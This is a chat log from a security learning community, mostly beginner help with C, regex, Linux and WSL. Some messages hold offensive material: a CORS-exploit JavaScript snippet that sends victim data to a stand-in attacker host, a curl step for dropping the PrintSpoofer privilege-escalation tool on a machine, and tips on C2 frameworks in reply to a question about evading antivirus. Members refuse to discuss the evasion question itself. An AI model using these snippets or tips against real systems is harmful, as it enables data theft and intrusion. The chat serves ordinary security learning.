messages contains system messages that aren't critical, aren't debug, and are general

#

Where the auth logs are stored also varies a bit from distro to distro. Ie, Ubuntu stores those logs in a different file than in CentOS

sharp coral Jun 6, 2021, 4:46 PM

#

ah okay gotcha - I just found this bit
makes sense as Im usually on ubuntu

magic falcon Jun 6, 2021, 4:46 PM

#

Yep

sharp coral Jun 6, 2021, 4:46 PM

#

ebon dawn but this doesnt use the dir you sent

well if you do have the messages log try using that!

magic falcon Jun 6, 2021, 4:47 PM

#

This also easily an easily searched for problem 🙂

ebon dawn Jun 6, 2021, 4:47 PM

#

lol it doesnt exist either

magic falcon Jun 6, 2021, 4:47 PM

#

What distro are you using?

ebon dawn Jun 6, 2021, 4:47 PM

#

how do i check?

#

bash --version

#

?

magic falcon Jun 6, 2021, 4:48 PM

#

What distro of linux

ebon dawn Jun 6, 2021, 4:48 PM

#

im not using linux as an os

#

im using ubuntu terminal

magic falcon Jun 6, 2021, 4:48 PM

#

So you are using Ubuntu as a terminal. But you aren't using Ubuntu as an OS?

sharp coral Jun 6, 2021, 4:48 PM

#

are you using Windows Subsystem for Linux?

ebon dawn Jun 6, 2021, 4:48 PM

#

with a linux stuff for windows

#

yes

#

subsystem

tulip ibex Jun 6, 2021, 4:49 PM

#

wsl yea

sharp coral Jun 6, 2021, 4:49 PM

#

ah

ebon dawn Jun 6, 2021, 4:49 PM

#

is it shit?

magic falcon Jun 6, 2021, 4:49 PM

#

Oh, then I can't help you. WSL and WSL2 always break for me, so I don't touch them.

tulip ibex Jun 6, 2021, 4:49 PM

#

wont say that

ebon dawn Jun 6, 2021, 4:49 PM

#

i just cant connect to a remote host because the server is down

#

ssh is not working

tulip ibex Jun 6, 2021, 4:49 PM

#

wsl is sometimes good

#

when am too lazy to boot vms kek

sharp coral Jun 6, 2021, 4:50 PM

#

well you'd need to be parsing Windows logs in this case - I would install Sysmon - create a powershell script to parse that - use Windows Task Scheduler to schedule execution of the powershell script

magic falcon Jun 6, 2021, 4:50 PM

#

networking in WSL is also broken - if you are on WSL2, I would expect SSH to work, but not with WSL1

ebon dawn Jun 6, 2021, 4:50 PM

#

thing is i used putty for connecting to remote host

#

which works fine

#

but it doesnt work anymore

#

i changed ports

#

but still

ebon dawn Jun 6, 2021, 4:51 PM

#

sharp coral well you'd need to be parsing Windows logs in this case - I would install Sysmon...

this honestly sounds like pain in the ass

#

but i guess if i got nothing else to do

sharp coral Jun 6, 2021, 4:51 PM

#

its pretty easy tbh, if you like python they also have a library for parsing EVTX

ebon dawn Jun 6, 2021, 4:51 PM

#

i dont

#

lmao

sharp coral Jun 6, 2021, 4:52 PM

#

more things to learn 😄

ebon dawn Jun 6, 2021, 4:52 PM

#

maybe in the future

#

but now i need to do this unix shit

#

alright are there some free hosts

#

servers

#

that run unix

sharp coral Jun 6, 2021, 4:53 PM

#

do you not have the resources to run a virtual machine?

ebon dawn Jun 6, 2021, 4:53 PM

#

resources as in time or computational power

#

or the very will to do so

#

depends on all three

sharp coral Jun 6, 2021, 4:53 PM

#

all of the above

ebon dawn Jun 6, 2021, 4:53 PM

#

well

#

id say yes

#

which vm should i install

sharp coral Jun 6, 2021, 4:55 PM

#

big fan of ubuntu LTS but Mint or PopOs are good choices

ebon dawn Jun 6, 2021, 4:55 PM

#

price list?

sharp coral Jun 6, 2021, 4:55 PM

#

either way, just choose one, live in it and stick with it

ebon dawn Jun 6, 2021, 4:55 PM

#

i need the one that's a bit

#

free

sharp coral Jun 6, 2021, 4:55 PM

#

free forever!

ebon dawn Jun 6, 2021, 4:55 PM

#

good

#

dude are you available for a call im with my friend and he keeps asking me

#

or maybe create a groupchat

#

if your're fine with that

#

im just tired of decrypting everything yousay to him

sharp coral Jun 6, 2021, 4:56 PM

#

unfortunately not right now - if you have questions ask them here for the benefit of everyone else 🙂

ebon dawn Jun 6, 2021, 4:56 PM

#

aight man either way, thank a lot for your input

#

or woman

#

or maybe someone else

#

we're inclusive

sharp coral Jun 6, 2021, 4:57 PM

#

just using gender neutral terms is always a good rule of thumb - and np feel free to ping if you have further questions

ebon dawn Jun 6, 2021, 4:57 PM

#

have a blessed whatever the sun's position in degrees is relative to you

ebon dawn Jun 6, 2021, 5:13 PM

#

ubuntu lts weighs over 2gigs and with my internet speed ill need at least 3 hours to download it

#

guys

#

any other suggestions?

tulip ibex Jun 6, 2021, 5:15 PM

#

let is download at night

ebon dawn Jun 6, 2021, 5:17 PM

#

i need to finish it asap

#

no deadline i just have shit to do tomorrow

#

but i guess there is nothing else to be done?

#

any other variants?

#

i can do it next week tho

magic falcon Jun 6, 2021, 5:19 PM

#

Any linux iso is going to be at least 3GB to download - anything smaller than that will be a netinstaller version, and it sounds like that is going to also not work for you.

ebon dawn Jun 6, 2021, 5:21 PM

#

😔

vernal vigil Jun 6, 2021, 5:23 PM

#

Lbuntu

#

Maybe

#

Or Arch..?

ebon dawn Jun 6, 2021, 5:24 PM

#

those are?

#

VMs?

vernal vigil Jun 6, 2021, 5:26 PM

#

You can install them on a vm

#

Just like ubuntu.

void falcon Jun 6, 2021, 5:27 PM

#

Can anyone suggest how to modify ssh service so that it can store password in Auth.log file in Ubuntu system.

magic falcon Jun 6, 2021, 5:46 PM

#

That violates every security best practice I can think of. Why are you trying to modify the service?

void falcon Jun 7, 2021, 6:39 AM

#

magic falcon That violates every security best practice I can think of. Why are you trying to...

To implement ssh honeypot

#

I was trying in this link https://hackernoon.com/how-ive-captured-all-passwords-trying-to-ssh-into-my-server-d26a2a6263ec

How I’ve captured all passwords trying to ssh into my server! | Hac...

#

But it was not working

cursive zephyr Jun 7, 2021, 6:58 AM

#

Can someone tell me why this function returns undefined function checkCreds(username,password){ fs.readFile(`U_Conf/${username}/creds.txt`, (err,data)=>{ let creds = JSON.parse(data); if(username in creds && password === creds[username]){ console.log('Connection Success'); return true; } else{ return false; } }); }

solar hull Jun 7, 2021, 7:45 AM

#

Because you’re not returning the result of fs.readFile

solar hull Jun 7, 2021, 7:47 AM

#

cursive zephyr Can someone tell me why this function returns undefined ```function checkCreds(u...

The return clauses in the arrow function are not in the top-level function, so the top level returns undefined

solar hull Jun 7, 2021, 8:14 AM

#

Looks like readFile doesn’t return anything. So you’ll need to handle the values some other way than by trying to return them from the callback

lilac holly Jun 7, 2021, 9:00 AM

#

Can someone please help me?
I'm learning Java I am not able to understand what

Date now = new Date();

does

cursive zephyr Jun 7, 2021, 9:20 AM

#

solar hull Looks like readFile doesn’t return anything. So you’ll need to handle the values...

found it

onyx merlin Jun 7, 2021, 4:40 PM

#

void falcon To implement ssh honeypot

I would use Cowrie or something similar.

solar hull Jun 7, 2021, 4:51 PM

#

lilac holly Can someone please help me? I'm learning Java I am not able to understand what ...

It creates a new Date object and assigns the reference to an identifier called now. This is rather basic Java.

solar hull Jun 7, 2021, 4:52 PM

#

lilac holly Can someone please help me? I'm learning Java I am not able to understand what ...

From the documentation for that constructor:

#

Allocates a Date object and initializes it so that it represents the time at which it was allocated, measured to the nearest millisecond.

ebon dawn Jun 7, 2021, 5:32 PM

#

hello lads

#

here i go again with unix

#

i need a file location that would help me get info on password changes

#

i need to write a command that would check if last change of password occured > 90 days ago

#

okay nevermind i found the chage

void falcon Jun 8, 2021, 9:37 AM

#

onyx merlin I would use Cowrie or something similar.

yes I am trying to look that

lunar dune Jun 8, 2021, 3:15 PM

#

hi anyone here good with shell scripting ?

magic falcon Jun 8, 2021, 3:22 PM

#

What's your question?

maiden karma Jun 8, 2021, 3:43 PM

#

Hey does any body know how to create a js script that stores the user input and create a box with all of that information?

formal kettle Jun 8, 2021, 10:01 PM

#

ehhhh, node with db

broken shuttle Jun 9, 2021, 3:03 AM

#

Has anyone completed freecodeadey and https://www.freecodecamp.org/learn/coding-interview-prep/ ? What do you this?

freeCodeCamp.org

Learn to Code — For Free

magic falcon Jun 9, 2021, 3:35 AM

#

Brent, can you reword your question? I'm not exactly sure what you're asking.

solar echo Jun 9, 2021, 9:32 PM

#

@magic falcon I think, he may be trying to ask "Why do you do this?" or "What is there to do in this course?"

true pumice Jun 9, 2021, 10:14 PM

#

Always best not to presume 😉

thick marsh Jun 9, 2021, 11:14 PM

#

if i have an executable that runs shellcode that is basically a meterpreter, if the user has antivirus software, what could i add to the executable to give it more power.

mortal flint Jun 9, 2021, 11:19 PM

#

More power? @digital dove

onyx merlin Jun 9, 2021, 11:19 PM

#

Good luck evading AV with a meterpreter lol

thick marsh Jun 9, 2021, 11:21 PM

#

onyx merlin Good luck evading AV with a meterpreter lol

what do you suggest else

onyx merlin Jun 9, 2021, 11:22 PM

#

What are you attacking?

thick marsh Jun 9, 2021, 11:22 PM

#

windows machine

onyx merlin Jun 9, 2021, 11:22 PM

#

What Windows machine?

thick marsh Jun 9, 2021, 11:22 PM

#

its a personal project im not going after any ctf rn, I wanted to learn about how stuff like that worked

#

i didnt really know about anything else then meterpreters so thats cool

mortal flint Jun 9, 2021, 11:23 PM

#

I know a bit about writing malware, but I probably shouldn't go into that

thick marsh Jun 9, 2021, 11:24 PM

#

well i'd love to learn

#

only thing i know how to do for now is running shellcode with a c++ program nothing crazy

onyx merlin Jun 9, 2021, 11:25 PM

#

Ok. We don't discuss that here.

#

If you reach 0xD, get a relevant pentest cert like eCPPT or OSCP, or complete throwback, then there's a channel for it

thick marsh Jun 9, 2021, 11:26 PM

#

awwwww

onyx merlin Jun 9, 2021, 11:26 PM

#

I'm sure you understand why

thick marsh Jun 9, 2021, 11:26 PM

#

yeah ik

mortal flint Jun 9, 2021, 11:26 PM

#

Consider that motivation to be more active here 🙂

thick marsh Jun 9, 2021, 11:26 PM

#

yeah true

#

well i'll take the fact that theres more than just meterpreter as a hint

mortal flint Jun 9, 2021, 11:28 PM

#

There are some interesting books that talk about concepts of some big hacks, but not really technical details. That might be an interesting read for you while you're building up skill and points here

thick marsh Jun 9, 2021, 11:28 PM

#

will do

mortal flint Jun 9, 2021, 11:29 PM

#

There's also a malware analysis path/module here, but I haven't done it myself yet

thick marsh Jun 9, 2021, 11:34 PM

#

ill look at alternatives to meterpreter to find a better/ more powerful one, rn im thinking of maybe modifying the program to do some stuff like maybe changing some or adding stuff

#

idk

solar echo Jun 10, 2021, 9:55 AM

#

true pumice Always best not to presume 😉

noted.

tulip sail Jun 10, 2021, 10:45 AM

#

thick marsh ill look at alternatives to meterpreter to find a better/ more powerful one, rn ...

Meterpreter is pretty blooming powerful

#

The only thing you'll get better than that are C2 launchers. Have a look into PS Empire and Covenant for the big, free ones. Cobalt Strike is objectively better, but costs an absolute fortune

#

There are hundreds more of them too, of varying degrees of effectiveness

#

Have a look into Wreath for more info

onyx merlin Jun 10, 2021, 10:52 AM

#

~~I'm pretty sure they're just trying to evade AV~~

thick marsh Jun 10, 2021, 12:11 PM

#

tulip sail The only thing you'll get better than that are C2 launchers. Have a look into PS...

awesome, thanks so much for the tips

wispy kestrelBOT Jun 10, 2021, 12:11 PM

#

Gave +1 Rep to @tulip sail

thick marsh Jun 10, 2021, 12:42 PM

#

onyx merlin ~~I'm pretty sure they're just trying to evade AV~~

I already have everything setup and it works all I'm missing is a way to actually use the meterpreter without av catching on

onyx merlin Jun 10, 2021, 12:42 PM

#

Yes.

#

That's AV evasion.

thick marsh Jun 10, 2021, 12:42 PM

#

yeah

thick marsh Jun 10, 2021, 12:43 PM

#

onyx merlin That's AV evasion.

do you think a c2 launcher would help with evading considering from what i see the payloads are more advanced than metasploits'

onyx merlin Jun 10, 2021, 12:43 PM

#

onyx merlin Ok. We don't discuss that here.

Please refer to this earlier message

thick marsh Jun 10, 2021, 12:43 PM

#

oh right

tulip sail Jun 10, 2021, 12:44 PM

#

Not directly, but they're easy to edit yourself 🤷‍♂️
Also, yeah ^^

thick marsh Jun 10, 2021, 12:44 PM

#

Thank you again

onyx merlin Jun 10, 2021, 12:44 PM

#

AV evasion is quite an advanced topic.

thick marsh Jun 10, 2021, 12:45 PM

#

i see

tulip sail Jun 10, 2021, 12:45 PM

#

It's also a huge pain in the ass

thick marsh Jun 10, 2021, 12:46 PM

#

it sounds fun so im up for the challenge

onyx merlin Jun 10, 2021, 12:47 PM

#

Get to 0xD and then you can discuss it in the specific channels here 😉

thick marsh Jun 10, 2021, 12:47 PM

#

how can i speedrun it

onyx merlin Jun 10, 2021, 12:48 PM

#

Do like, Advent of Cyber

thick marsh Jun 10, 2021, 12:48 PM

#

alright

restive fossil Jun 10, 2021, 6:07 PM

#

onyx merlin Do like, Advent of Cyber

advent of cyber hurts

onyx merlin Jun 10, 2021, 6:07 PM

#

Not really

cursive orchid Jun 10, 2021, 7:41 PM

#

any css frameworks that have components sort of like this?

#

both the navbar styling and those filter type buttons

bitter field Jun 11, 2021, 12:03 AM

#

cursive orchid both the navbar styling and those filter type buttons

If u are using vue or react chakra ui could help you

#

Choc ui and chakra templates has a lot of good navbars/buttons

formal kettle Jun 11, 2021, 4:12 AM

#

Breadcrumbs? And ul with flexbox maybe, not sure bootstrap can do that,

cursive orchid Jun 11, 2021, 8:08 AM

#

bitter field If u are using vue or react chakra ui could help you

oooh that looks great !! that would be what i need except for that fact i’m using vanilla js :((

bitter field Jun 11, 2021, 12:26 PM

#

cursive orchid oooh that looks great !! that would be what i need except for that fact i’m usin...

you can always switch to React 😄

#

anyways you could prob find good stuff on bootstrap, though not my favorite styles

#

css frameworks are becoming big, like tailwind now has headless ui which is so good

cursive orchid Jun 11, 2021, 12:40 PM

#

bitter field you can always switch to React 😄

nah making vulnerable stuffs hehe

#

but i will deffo be using that in my react projects

#

i just stole some free bulma template hehe

restive fossil Jun 11, 2021, 9:51 PM

#

can someone spoonfeed me the code for wgetting printspoofer in python? (windows btw)

#

cant get it working

true pumice Jun 11, 2021, 9:54 PM

#

Do you want a compiled copy or learn how to compile it yourself?

#

Or are you looking to get it onto a machine?

restive fossil Jun 11, 2021, 9:54 PM

#

true pumice Or are you looking to get it onto a machine?

getting it onto a machine

#

compiled

#

cant wget it from github ¯_(ツ)_/¯

true pumice Jun 11, 2021, 9:55 PM

#

You would have to download it, compile it and then transfer it across

#

If you're using a simple python script to get it across, you would use something like

restive fossil Jun 11, 2021, 9:56 PM

#

true pumice You would have to download it, compile it and then transfer it across

i dont have to compile it look: https://github.com/RedTeamMedic/printspoofer/blob/main/PrintSpoofer.exe precompiled

GitHub

RedTeamMedic/printspoofer

compiled x64 printspoofer. Contribute to RedTeamMedic/printspoofer development by creating an account on GitHub.

true pumice Jun 11, 2021, 9:58 PM

#

Actually I'm not sure if this would work but:

import os
import sys

url = sys.argv[0]

os.system(f"curl {url} -o printspoofer.exe")

#

But you might as well just type curl url -o printspoofer.exe

#

Then again, I don't know if curling it onto a machine would work

restive fossil Jun 11, 2021, 10:02 PM

#

i am so stupid

#

jabba thanks for saving the day once again

loud bone Jun 11, 2021, 11:56 PM

#

How can I create a similar tool like nmap, dirbuster, etc (but less functionality to begin with) using python?

onyx merlin Jun 11, 2021, 11:57 PM

#

Have you done some research into it first? Googling terms like "python port scanner" and "python web directory brute force"

mortal flint Jun 12, 2021, 12:00 AM

#

Break down the problem. What will you need to do? Parse command line args? (search for how to do that) Loop/iterate through something? (more searching) Call a URL/open a port/etc? (more searching)

#

start with the big concepts, then break them down into smaller and smaller tasks until you get to a task that is small enough you can solve, and go from there

#

maybe start by hard-coding the program to scan a single IP, or a single port, or something like that.

loud bone Jun 12, 2021, 12:33 AM

#

Okay, I did some research. The thing is after creating a script using python, have to run like python3 <script_name.py> but I want like just run <scirptname> and that will run it. (just like any tool in linux command line)

#

Probably will do the arguments or flags after that

stoic badger Jun 12, 2021, 12:34 AM

#

That bit of the program is probably the least important if you don't have the actual substance of the thing done

#

Focus on getting something usable before worrying about the QoL or the cosmetics imo

loud bone Jun 12, 2021, 12:37 AM

#

I mean, I just wanted to see if that is possible with python if not then will try to do the actual thing in different lang

magic falcon Jun 12, 2021, 12:38 AM

#

loud bone I mean, I just wanted to see if that is possible with python if not then will tr...

https://docs.python.org/3.9/library/py_compile.html#module-py_compile

mortal flint Jun 12, 2021, 1:12 AM

#

there are a few different ways to compile python. I haven't worked with any in a couple years, but they were all kindof a pain to work with

#

but I'll second what @stoic badger said- focus on getting it working, even just "proof of concept" style first, then you can look into distribution/packaging/etc.

#

another option, as a short-term fix, is to make an alias or a .sh file

#

so you can type "myCoolProgram -my arguments" and that is aliased to run "python ....." or some shell script.

stoic badger Jun 12, 2021, 1:16 AM

#

agile development

#

I mean, this kind of applies with all workflows, but still

warped axle Jun 12, 2021, 10:49 AM

#

hey can someone explain this regex to me? q(?=[te][st])[co][de]

#

i am very confused

restive fossil Jun 12, 2021, 11:47 AM

#

so this runs as admin btw, when i run it this is what shows up

#

#

but when i run that exact command in cmd with admin privs this is what shows up

#

#

sooo, since im running the py file as admin, shouldnt i get the exact result with both?

lilac holly Jun 12, 2021, 3:47 PM

#

Hi guys. What language would you learn for malware development in Windows? C, C++ or C#?? Thanks

onyx merlin Jun 12, 2021, 3:47 PM

#

C#

#

For the pure reason of the Windows APIs

magic falcon Jun 12, 2021, 3:49 PM

#

warped axle hey can someone explain this regex to me? `q(?=[te][st])[co][de]`

Which regex engine is that for?

restive fossil Jun 12, 2021, 3:52 PM

#

onyx merlin C#

really? i would've thought c was the best for malware since most malware makers use C as their preferred language

hollow gale Jun 12, 2021, 3:52 PM

#

C++ FTW

restive fossil Jun 12, 2021, 3:55 PM

#

restive fossil sooo, since im running the py file as admin, shouldnt i get the exact result wi...

anyone have any ideas about this ^^ ?

onyx merlin Jun 12, 2021, 4:04 PM

#

restive fossil really? i would've thought c was the best for malware since most malware makers ...

Again, Windows APIs.

magic falcon Jun 12, 2021, 4:04 PM

#

restive fossil sooo, since im running the py file as admin, shouldnt i get the exact result wi...

Looks like windows isn't allowing your admin to impersonate the user account. Admin isn't always blanket permissions to do anything, check the file perms and group perms that the printspoofer is running under

restive fossil Jun 12, 2021, 4:05 PM

#

restive fossil

but juun when i run printspoofer as admin in cmd i get nt authority normally, shouldn't that mean that running that file as admin should give me nt authority?

magic falcon Jun 12, 2021, 4:07 PM

#

are you running it directly as the admin user, or as the regular user with elevated privs?

#

Caveat: I'm not super up to date on non-domain managed privs, so I could be sending you down a wrong path

#

Windows also does weird stuff with file and user contexts; i'm much more familiar with Linux contexts.

restive fossil Jun 12, 2021, 4:09 PM

#

look heres the interesting thing: i go into cmd with normal privs, i dont have selimpersonate privs, however, i go into cmd as admin, i do, so when i run printspoofer as admin, it works.

magic falcon Jun 12, 2021, 4:10 PM

#

That sounds like how it should be

restive fossil Jun 12, 2021, 4:11 PM

#

oh

magic falcon Jun 12, 2021, 4:11 PM

#

You may want to wait for a better windows mgmt SME to answer - that sounds like intended behavior to me

restive fossil Jun 12, 2021, 4:12 PM

#

ight

magic falcon Jun 12, 2021, 4:12 PM

#

I understand how RBAC should work, and that sounds like it's operating correctly. AD may be doing fucked up stuff

sharp coral Jun 12, 2021, 4:30 PM

#

warped axle i am very confused

that is a positive lookahead, anything following ?= must be present in the pattern but aren't actually captured in the match
https://stackoverflow.com/questions/1570896/what-does-mean-in-a-regular-expression

Stack Overflow

What does ?= mean in a regular expression?

May I know what ?= means in a regular expression? For example, what is its significance in this expression:

(?=.*\d).

restive fossil Jun 12, 2021, 4:36 PM

#

ok im a beginner to c and i dont really understand void (void main())

#

what difference does it make to int main()

magic falcon Jun 12, 2021, 4:37 PM

#

Depends on compiler. void indicates that no return is expected, in older compilers it was required that main() return an int to use as an error code.

restive fossil Jun 12, 2021, 4:38 PM

#

oo ok

magic falcon Jun 12, 2021, 4:39 PM

#

It's a simliar thing with main( int argc, char* argv) sometimes being omitted

warped axle Jun 12, 2021, 5:00 PM

#

sharp coral that is a positive lookahead, anything following `?=` must be present in the pat...

i found this

The regex q(?=u)i can never match anything. It tries to match u and i at the same position. If there is a u immediately after the q then the lookahead succeeds but then i fails to match u. If there is anything other than a u immediately after the q then the lookahead fails.

so im confused as supposed to how that is matched

#

since it basically follows the patern in the text

sharp coral Jun 12, 2021, 5:11 PM

#

Im not sure what your use case or example is - but I would just think of the lookahead as a conditional statement, i.e. "Match this string if it begins with x but do not capture x in the final output"

restive fossil Jun 12, 2021, 5:31 PM

#

is & gt in C "greater than" and & lt is "lower than"?

magic falcon Jun 12, 2021, 5:32 PM

#

Are you asking about a specific operator? & has a very specific meaning that doesn't match what your question is

warped axle Jun 12, 2021, 5:35 PM

#

sharp coral Im not sure what your use case or example is - but I would just think of the loo...

ahh ok

restive fossil Jun 12, 2021, 5:40 PM

#

magic falcon Are you asking about a specific operator? `&` has a very specific meaning that d...

so if u wanna see the full if statemenet: if (a & gt; b)

magic falcon Jun 12, 2021, 5:41 PM

#

restive fossil so if u wanna see the full if statemenet: if (a & gt; b)

can you post the full snippet?

restive fossil Jun 12, 2021, 5:41 PM

#

ok

#

magic falcon Jun 12, 2021, 5:42 PM

#

That's not the full snippet. Where are the variables being defined?

#

Where are you getting this code from?

restive fossil Jun 12, 2021, 5:43 PM

#

magic falcon Jun 12, 2021, 5:43 PM

#

ok, what's happening is wherever you are getting this from is screwing up the code

#

> looks like it's some kind of code formatting to display the >= operator

#

or rather just >

#

same thing with the & bits

restive fossil Jun 12, 2021, 5:44 PM

#

yea i guessed so, dont know why w3schools making things more complicated (╯°□°）╯︵ ┻━┻

magic falcon Jun 12, 2021, 5:45 PM

#

post the link please

#

nm, found it

#

You'll commonly see stuff like this when the web server is doing replacement of characters and messes it up. &gt and &amp are the proper symbol codes for HTML; however, their rendering engine is breaking the symbol code up into multiple words.

restive fossil Jun 12, 2021, 5:48 PM

#

magic falcon You'll commonly see stuff like this when the web server is doing replacement of ...

oooooo got it

#

yeah

onyx merlin Jun 12, 2021, 6:35 PM

#

magic falcon `>` looks like it's some kind of code formatting to display the `>=` operator

HTML entity, if you want the key word.

little jewel Jun 13, 2021, 6:40 AM

#

Hi

warped axle Jun 13, 2021, 8:25 AM

#

more regex question (?1) this recurses a subpatern / calls a numbered group, question is what are either of those? google didnt help too much

restive fossil Jun 13, 2021, 11:48 PM

#

#include <stdlib.h>

int main()
{
    int a,b,c;
    printf("Please Enter Two Numbers \n");
    scanf("%d %d", &a, &b);
    c = a + b;
    printf("The result of the addition of both the numbers is %d \n", c);
    if(c != 11)
    {
        printf("please kill me");
    }
    while (100 > c)
    {
        printf("%d \n", c);
        c++;
        switch(c)
        {
        case 50:
            
        case
        }
    }

    return 0;
}```

#

heres the code

#

C btw

#

so in the case 50, i want to make it not print 50

#

how do i dat

mortal flint Jun 14, 2021, 12:10 AM

#

your print statement would need to move, or you'd need to surround it with an if block

safe brook Jun 14, 2021, 12:59 AM

#

hey guys do you have any python library learning suggestions in order to increase my ethical hacking knowledge

heavy rampart Jun 14, 2021, 1:08 AM

#

restive fossil ```#include <stdio.h> #include <stdlib.h> int main() { int a,b,c; print...

while(100 > c) {
    if(c == 50) {
        c++;
        continue;
    }
    printf("%d\n",  c);
    c++;
}

restive fossil Jun 14, 2021, 1:14 AM

#

yeah i was actually wondering if continue would do the trick

#

thx man

#

+rep @heavy rampart

wispy kestrelBOT Jun 14, 2021, 1:14 AM

#

Gave +1 Rep to @heavy rampart

brazen eagle Jun 14, 2021, 8:33 AM

#

you should increment at the end of a while block. does C even have a switch statement?

#

apparently it does, TIL...

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ARG FRACK JAVA! bloody dependency pulling a java 11 lib instead of java 8

restive fossil Jun 14, 2021, 4:52 PM

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y does it say the address of *pntr in 14??? shouldn't it be 61fe14?

hollow tangle Jun 14, 2021, 4:59 PM

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restive fossil y does it say the address of *pntr in 14??? shouldn't it be 61fe14?

You're derefing pntr in the second printf the second argument for that printf call should just be pntr and not *pntr

restive fossil Jun 14, 2021, 5:00 PM

#

oh cool, y does it have to be pntr only?

hollow tangle Jun 14, 2021, 5:01 PM

#

With pointer types the * means to dereference the pointer and access the value so just putting pntr without the * means don't deref and print the actual value of the pointer

restive fossil Jun 14, 2021, 5:01 PM

#

ohhhhhhhh

#

got it

#

damn

#

+rep @hollow tangle

wispy kestrelBOT Jun 14, 2021, 5:02 PM

#

Gave +1 Rep to @hollow tangle

restive fossil Jun 14, 2021, 5:02 PM

#

there we go

restive fossil Jun 14, 2021, 7:16 PM

#

{
  FILE * fileName;
  char ch;
  fileName = fopen("anything.txt","wt");
  for (ch = 'D' ; ch <= 'S' ; ch++) {
    putc (ch , fileName);
    }
  fclose (fileName);
  return 0;
}```

#

wat is going on here

#

main thing i dont get is the ch <= 's'

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how can a character be larger than another character

magic falcon Jun 14, 2021, 7:29 PM

#

Characters are a set that is well-ordered.

#

The text character is represented by a symbol, what is the underlying representation in memory?

turbid fable Jun 14, 2021, 8:18 PM

#

Hello, is there a C programmer ready to help me ? 🙂

magic falcon Jun 14, 2021, 8:21 PM

#

What's up? Feel free to drop your question here

mortal flint Jun 14, 2021, 9:12 PM

#

magic falcon The text character is represented by a symbol, what is the underlying representa...

Isn't it just ascii vals? I haven't touched C in a while

magic falcon Jun 14, 2021, 9:13 PM

#

mortal flint Isn't it just ascii vals? I haven't touched C in a while

🙂

brazen eagle Jun 15, 2021, 3:28 PM

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mortal flint Isn't it just ascii vals? I haven't touched C in a while

pretty much, a char in C is basically a number (from -127 to 127 if signed, 0 to 255 if unsigned)

wicked wagon Jun 16, 2021, 5:28 AM

#

var req = new XMLHttpRequest(); //makes a xmlhttp object

req.open('get','https://vulnerable-website.com/sensitive-victim-data',true); //making request to server

req.withCredentials = true; // for CORS

req.send(); // sending request

req.onload = function() {
location='//malicious-website.com/log?key='+this.responseText;
}
what is purpose of last line ? pls can anyone explain

west locust Jun 16, 2021, 6:35 AM

#

does anyone know anything about this "Using EoL Python Versions on Kali" i m getting errors

rancid sigil Jun 16, 2021, 6:41 AM

#

wicked wagon var req = new XMLHttpRequest(); //makes a xmlhttp object req.open('get','https...

It gets the API key as a response in the new xmlhttp object and displays in malicious-website.com/log on load of the request

I stand to be corrected 😊

wicked wagon Jun 16, 2021, 7:14 AM

#

@rancid sigil Ok understood

#

when attacker checks logs on his sever he gets the api key's of users who visited

#

his site and from there visited the vulnerable website

#

am i correct ??

sour apex Jun 16, 2021, 4:12 PM

#

is there anyway to prioritise addition over multiplication?

#

without adding paranthesis

#

or is there a way to automatically add paranthesis for two values with a '+' b/w them

mortal flint Jun 16, 2021, 4:13 PM

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Nope. Not unless you overload the operator, which could get you tarred and feathered by the other people on the team.

sour apex Jun 16, 2021, 4:14 PM

#

mortal flint Nope. Not unless you overload the operator, which could get you tarred and feath...

overload? 😅

mortal flint Jun 16, 2021, 4:14 PM

#

perhaps https://en.wikipedia.org/wiki/Reverse_Polish_notation might be useful for you too

#

what language are you using?

sour apex Jun 16, 2021, 4:14 PM

#

mortal flint what language are you using?

python mostly

mortal flint Jun 16, 2021, 4:14 PM

#

just add the ( ) and call it a day 🙂

magic falcon Jun 16, 2021, 4:24 PM

#

sour apex is there anyway to prioritise addition over multiplication?

Reverse polish notation - but you will more than likely have to either build a custom parser or else write a bunch of functions or operator overloads to make it work.

magic falcon Jun 16, 2021, 4:25 PM

#

mortal flint perhaps https://en.wikipedia.org/wiki/Reverse_Polish_notation might be useful fo...

ninja'd 😦

mortal flint Jun 16, 2021, 4:31 PM

#

magic falcon ninja'd 😦

By 11 minutes 😉

magic falcon Jun 16, 2021, 4:34 PM

#

i wasn't scrolling

#

i was reading top-down, like a good programmer who reads docs 🙂

mortal flint Jun 16, 2021, 4:35 PM

#

what are docs? 🤔 😕

#

oh, that's the part that the unicorn team is supposed to do. Yeah, that's still backlogged

#

tried and failed to find a clip from Volcano of Don Cheadle saying "you gotta be fast". sadcooctus

magic falcon Jun 16, 2021, 4:39 PM

#

https://tenor.com/view/minivan-car-van-smoking-burning-gif-4633245

Tenor

Smoking Van - Car

▶ Play video

mortal flint Jun 16, 2021, 4:43 PM

#

That looks like something from hoonigan

magic falcon Jun 16, 2021, 4:49 PM

#

https://tenor.com/view/smart-car-fast-racing-funny-gif-13670789

Tenor

mortal flint Jun 16, 2021, 5:18 PM

#

I've ridden in a smartcar. I'd be terrified to be in one that did that

magic falcon Jun 16, 2021, 5:20 PM

#

You ride racing motorcycles, how is a smart car outfitted with a hayabusa engine more scary

mortal flint Jun 16, 2021, 5:20 PM

#

That's precisely the right question 🙂

#

at least on a bike if it wrecks, I have my airbag suit and can slide. In that smartcar, it'd crush like a soda can. And once those front wheels lift, you have virtually no control over anything. On a bike, you have lots of control over braking/steering/lean/etc.

magic falcon Jun 16, 2021, 5:28 PM

#

you can't tell me it wouldn't be a blast to go full gymkata in that hyped smart car though

mortal flint Jun 16, 2021, 9:14 PM

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gimme a roll cage and a 5 point harness and a neck brace, and I'd do it

#

trust me, being in a vehicle that rolls, without a cage, without a helmet, without gear, that aint no fun. Especially when there are heavy and sharp things bouncing/flying around too

magic falcon Jun 16, 2021, 9:16 PM

#

I always thought driving a reliant could be fun

mortal flint Jun 16, 2021, 9:18 PM

#

that 3-wheel thing? that's gotta be massively unstable

dire vortex Jun 16, 2021, 10:07 PM

#

heyo, anyone here who's dabbled in bash a fair bit?

#

I've got a script, that backgrounds a process, and I'm trying to detach the child process from the parent one - so that killing the child won't also end the parent, but disown -a doesn't seem to do it for me

#

I can provide screenshots etc. if I didn't explain the issue clearly enough

#

disown seems to work absolutely fine testing in my bash terminal, but when it comes to a script executing it, no luck

dull tangle Jun 17, 2021, 5:39 AM

#

@dire vortex have you tried using nohup? Not too familiar with detaching from parent processes but that in theory should work?

novel pulsar Jun 17, 2021, 6:09 AM

#

dull tangle <@!800666830195785728> have you tried using nohup? Not too familiar with detachi...

Or setsid for creating process in other session, not really sure what @dire vortex trying to do.

dire vortex Jun 17, 2021, 8:41 AM

#

dull tangle <@!800666830195785728> have you tried using nohup? Not too familiar with detachi...

I played around with nohup for a little while, with no luck it seemed

